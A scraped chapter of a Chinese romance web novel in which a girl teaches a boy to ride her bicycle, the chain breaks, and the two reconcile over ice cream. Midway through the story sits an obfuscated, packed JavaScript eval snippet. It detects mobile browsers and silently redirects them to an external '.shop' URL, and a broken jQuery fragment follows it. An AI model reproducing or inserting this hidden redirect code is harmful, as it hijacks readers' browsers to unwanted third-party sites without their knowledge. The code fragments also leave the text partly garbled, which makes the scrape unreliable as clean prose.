文趣网 > 都市小说 > 傻子他非要救赎 > 15. 自行车
    “我们和好吧。”

    这样的话,很多年以前,程雨难听到过。

    *

    那个晚自习之后,程雨难和陈遇安成为了朋友。

    程雨难从来没有像现在这样喜欢上学,每天7点10分雷打不动准时出门。

    出门了,却不下楼,而是站在门口等待。

    对面的门每次都会在5分钟之内打开。

    一分、两分、三分……陈遇安出门,把没喝完的牛奶塞到他手上,蹲下身飞快系鞋带。

    程雨难认真盯着她系鞋带的动作,他暗中学了好久,最后才学会这种快速系鞋带的方法。左一勾,右一勾,两手指交叉又穿过,一个蝴蝶结就系好了。

    安安的手,好灵巧。

    手上一空。

    女孩拿走牛奶,飞快下楼,催促他一起。

    “快走,不然要迟到了!”

    程雨难跟在她后面,蹬蹬蹬往下跑,到了楼下,陈遇安就骑上自行车,飞驰而去。

    每一天,他们的相遇就在这出门到下楼的三分钟里。如果下雨,就会再延长十五分钟。

    下雨的时候,陈遇安骑不了车,她会和他一起走过去。

    每次听到妈妈抱怨怎么又下雨了,程雨难都在心里觉得,雨天明明是很好的天气啊。

    程雨难不会骑车,陈遇安骑上车走了,他就跟在后面跑。走路十五分钟的距离,奔跑起来只要八分钟。

    后来陈遇安常常笑话他头脑简单,四肢发达。他想,他的四肢应该就是从这个时候开始发达的。

    他跑得越来越快,跟在陈遇安车后。然后有一天,她和另一个骑车上学的男同学在路上遇见,他们一边骑车一边聊天,没有注意到他已经停了下来。

    他也想要骑自行车。

    原本程雨难想先自己悄悄地学,然后在某一天,和陈遇安一起下楼的时候,骑上自行车。

    但面对陈遇安,他根本藏不住事,一不小心就泄露了自己的心思,陈遇安何等聪明,稍有苗头,就能被她敏锐捕捉。

    “你是不是想骑自行车?”她扎了双马尾,吸着雪糕问他。

    程雨难垂着头支支吾吾,不想承认的,但还是乖巧地点了点头。

    安安会不会笑他不自量力?

    他抬起眼,偷偷看她。

    天气炎热,陈遇安三下五除二吃完一根雪糕,咬着棍子,从自己的车后座上下来,“简单啊。”她拍拍自己的车座,“你就用我的车练,我教你。”

    期末考试结束,陈遇安不出所料又是年纪第一,离数竞班开课还有几天,她找了一天带程雨难去学车。

    明园小区所在的位置是老城区,附近都是学校和老校区,道路狭窄不说,因为人员车辆来往多,交通十分混乱。

    让程雨难在这里练车是万万不可的。

    他们在几公里之外找到了一条封闭道路,新修的路面已经铺设完备,暂时还没有开放。

    到了之后才发现知道这条路的不止他们,练轮滑的、练滑板的,还有和他们一样练自行车的,路上不算清净,但比起小区周围的街道,已经算是好得多。

    陈遇安把车把手让出来,将人往车座上一按,就要让程雨难双脚离地踩踏板。

    “安安,这样真的可以吗?”程雨难战战兢兢,在车上的身体不停左右晃动。

    一个不稳,他差点摔倒,幸好一只脚及时踩住地面。

    又是几番尝试,他还是无法稳定车身。

    因为年纪小,完全没有防晒的概念,两人稚嫩的皮肤在太阳下晒着,各自的脸都晒得红扑扑。

    陈遇安鼻头上全是汗,耐心渐失,“你好笨啊,就这样,然后这样,车就会动起来了。”

    她从小就是高悟性选手,根本无法理解人为什么不能看一遍就会。

    对程雨难的教学时间已经足够她刷完两套数学试卷,她有些后悔,但夸下的海口不能不应,不然有损她的颜面。

    最终,她还是坐到了车后座上,像路上其他大人教小孩骑车一样握住车把手,用自己的双腿稳住车身,让程雨难试着找到平衡的感觉。

    不得不说,这样的教学之所以存在,确实有它的道理。程雨难小心翼翼地感受、发力,自行车果然变得听话了。

    陈遇安渐渐放手,更多地让程雨难自己操控,累了半天,总算是有了点成就。

    路上练滑板的菜鸟不比程雨难好多少,练了半天还不敢双脚上板,陈遇安在心里暗暗比较,觉得程雨难不算最笨的。

    但人可能就是经不起关注,那个被陈遇安在心里吐槽菜鸟的滑板少年双脚上板后,人就不受控制地朝他们所在的位置冲过来。

    滑板下坡的速度很快,程雨难本来在专心致志地骑,等他看到的时候已经完全来不及躲开,安安还坐在后座,她会被撞到。

    心里一慌,双腿的力道就不受他控制,自行车忽然猛加速,在快要撞到的时候急刹,车身一个漂移,直接绕开了滑板少年。

    咔的一声响,有什么东西掉了下来。

    程雨难低头,地上一截黑乎乎的金属。

    链条断了。

    这是陈遇安唯一的自行车,每天都要骑车上学下课,虽然自行车已经有些年头,但陈遇安一直很爱惜,经常会看到她在楼下提着一小桶水,用抹布擦车身,给车打气。

    程雨难有些不敢看她的脸色,炎热的空气忽然窒闷。

    “对不起……”

    对面的人沉默地看着地上断开的链条,看了好一会儿。

    “对不起有什么用!你就会说对不起。”她愤怒地推了他一把,夺过自行车把手。

    这是外婆给陈遇安买的,她人生中的第一辆自行车,因为很爱惜,从来没有出过任何问题,她也就没有去过维修店,不知道链条可以换新。

    链条断了,对她来说就和天塌了一样。

    “他们说得没错,你就是个傻子,我就不应该教你!”

    听见这话,程雨难握在车把手上的双手立刻松开,怯怯地,仿佛碰了自己不该碰的东西。

    链条断了,车学不成了,回家也成了问题。

    来的时候是陈遇安载着程雨难,现在车坏了,人和车都要想办法回去,好几公里的路程,走回去要走很久。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868967|212253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    附近就是公交站,但自行车不能上公交,最后程雨难主动提出来她去坐公交,他会把车推回去。

    天气热,人又气。正好陈遇安也一点也不想和他同路,转头就上了公交。公交车上,透过后玻璃,可以看见垂头丧气的程雨难推着自行车慢慢走的身影,他在她视野里越来越小。

    公交车很快就没了影,程雨难低着头,连目送她的勇气都没有。

    他在心里愧疚自责,沮丧到了极点,太阳明晃晃地照着路面,他却感觉前面一片灰暗。

    安安不会再理他了,他把一切都搞砸了。

    他果然是个什么都做不好的傻子,安安终于发现了,她会和其他人一样。

    她不要他了。

    一路上,程雨难不知背着手抹了多少次眼角,一根链条,也让他的天塌了。

    不知走了多久,他忽然好像了陈遇安的声音,四下张望。

    “喂,你看哪里啊?”那声音更大,“我在这边!”

    公交站台上,陈遇安亭亭玉立地站在树荫下,手里还拎着一个透明塑料袋。

    “你怎么走得这么慢啊,我等了好久都不来,来了么叫你好几声都听不到。才这么一会儿,你就把我忘在脑后了。”她走过来,不满地念叨,拿出塑料袋里的雪糕给他。

    程雨难傻傻地看着她,一时忘了接。

    她没有走,在这里等他。

    陈遇安也不知道自己为什么要下车,看他一个人在路上孤零零地走,那一刻满肚子的气忽然就消失了。她在气头上的时候,对他说了那么重的话,换人肯定要和她吵起来,但他一声不吭地,还主动要把车推回去。

    链条断了,也不全是他的错吧。

    都怪那个滑板菜鸟!

    “快接呀,不然要化了。”她推推他的手,向他示好,以为他心里在怪自己。

    为了不让自己反悔,陈遇安干脆拿身上所有的钱买了雪糕。

    她只顾着讲话,没有注意到程雨难的样子,他一张开手,她就惊讶地叫起来,“呀!你的手怎么黑成这样!”

    程雨难手心黑乎乎的,又黑又油腻,他意识到自己手脏,连忙收起来背在身后,不想让她看见自己不好的样子。

    哪知陈遇安忽然咯咯笑起来,“哈哈……你的脸,程雨难,我就不在了一会儿,你都干了什么啊。”

    他没干什么,就是在路上试图修复一下链条,哪知链条上的黑油沾上就擦不掉了。他心里正难过,只想把坏掉的车推回去,根本顾不上擦手。

    程雨难本来皮肤就白,脸上不小心蹭到手上的黑油,就成了黑一道白一道的花脸。

    她笑个不停,笑得程雨难脸都红了,这下红的黑的白的,一张脸上色彩斑斓,更好笑了。

    陈遇安干脆自己拆了雪糕包装袋,两手一手一根,一只给自己,一只递到他嘴边。

    “我们和好吧。”

    程雨难重重点头,“嗯”了一声,在那根雪糕上咬一小口,牛奶味的。

    两人在公交站的树荫下,一口一口吃掉了雪糕,然后推着坏掉的自行车,在炎热的夏天里,一起走路回家。